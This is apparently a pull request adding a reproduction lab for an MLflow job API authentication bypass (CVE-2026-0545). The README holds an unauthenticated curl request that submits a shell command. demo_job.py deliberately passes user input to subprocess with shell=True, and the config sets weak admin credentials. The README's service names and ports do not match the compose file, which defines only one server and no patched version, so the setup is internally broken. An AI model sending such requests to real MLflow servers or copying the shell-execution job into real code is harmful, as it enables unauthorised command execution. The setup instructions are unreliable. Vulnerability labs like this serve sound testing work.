Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions mlflow/CVE-2026-0545/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
FROM python:3.10-slim

WORKDIR /app

# Install a vulnerable version of MLflow (3.9.0 or earlier)
RUN pip install "mlflow[auth]==3.9.0" uvicorn

# Copy necessary configuration and code
COPY basic_auth.ini /app/
COPY demo_job.py /app/
COPY start.sh /app/

# Make the start script executable
RUN chmod +x /app/start.sh

# Expose the MLflow server port
EXPOSE 5590

# Start the MLflow server via the wrapper script
CMD ["/app/start.sh"]
63 changes: 63 additions & 0 deletions mlflow/CVE-2026-0545/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
# MLflow Job API - Authentication Bypass (CVE-2026-0545)

A critical authentication bypass vulnerability exists in MLflow (version 3.9.0 and earlier) due to unprotected FastAPI job endpoints under `/ajax-api/3.0/jobs/*` when basic-auth is enabled. Unauthenticated network attackers can leverage these endpoints to submit and manage arbitrary jobs, potentially leading to remote code execution if job execution is enabled and job functions are allowlisted.


## Vulnerable Version
### Setup
Start MLflow version 3.9.0 with basic-auth enabled:

```sh
docker compose up -d mlflow-vulnerable
```

### Testing the vulnerability

Send an unauthenticated `POST` request to the unprotected Job API endpoint `/ajax-api/3.0/jobs/`:

```sh
curl -i -X POST "http://localhost:5000/ajax-api/3.0/jobs/" \
-H "Content-Type: application/json" \
-d '{"job_name":"run_task","params":{"command":"id"}}'
```

Response:
```json
HTTP/1.1 200 OK
Content-Type: application/json

{
"job_id": "job-102938",
"job_name": "run_task",
"status": "CREATED"
}
```


## Safe Version
### Setup
Start MLflow version 3.10.0 configured with updated authentication enforcement on job endpoints:

```sh
docker compose up -d mlflow-patched
```

### Testing the vulnerability

Send the same unauthenticated `POST` request to the patched instance:

```sh
curl -i -X POST "http://localhost:5001/ajax-api/3.0/jobs/" \
-H "Content-Type: application/json" \
-d '{"job_name":"run_task","params":{"command":"id"}}'
```

Response:
```json
HTTP/1.1 401 Unauthorized

{
"error_code": "UNAUTHENTICATED",
"message": "You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate."
}
```
6 changes: 6 additions & 0 deletions mlflow/CVE-2026-0545/basic_auth.ini
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
[mlflow]
default_permission = NO_PERMISSIONS
database_uri = sqlite:///basic_auth.db
admin_username = admin
admin_password = password1234
authorization_function = mlflow.server.auth:authenticate_request_basic_auth
6 changes: 6 additions & 0 deletions mlflow/CVE-2026-0545/demo_job.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
from mlflow.server.jobs import job
import subprocess

@job(name="run_task", max_workers=1)
def run_task(command="id"):
return subprocess.check_output(command, shell=True).decode()
17 changes: 17 additions & 0 deletions mlflow/CVE-2026-0545/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
version: '3.8'

services:
mlflow-server:
build:
context: .
dockerfile: Dockerfile
container_name: mlflow_app
ports:
- "5590:5590"
volumes:
# Only keep the persistent data storage mount
- mlflow_data:/app/artifacts
restart: unless-stopped

volumes:
mlflow_data:
20 changes: 20 additions & 0 deletions mlflow/CVE-2026-0545/start.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
#!/bin/bash

# Configuration for MLflow Basic Auth
export MLFLOW_AUTH_CONFIG_PATH=/app/basic_auth.ini
export MLFLOW_FLASK_SERVER_SECRET_KEY=test-secret-key

# Requirements to trigger the bypass
export MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true
export _MLFLOW_SUPPORTED_JOB_FUNCTION_LIST=demo_job.run_task
export _MLFLOW_ALLOWED_JOB_NAME_LIST=run_task
export PYTHONPATH=/app

mkdir -p /app/artifacts

exec mlflow server \
--app-name=basic-auth \
--host 0.0.0.0 \
--port 5590 \
--backend-store-uri sqlite:///backend.db \
--default-artifact-root /app/artifacts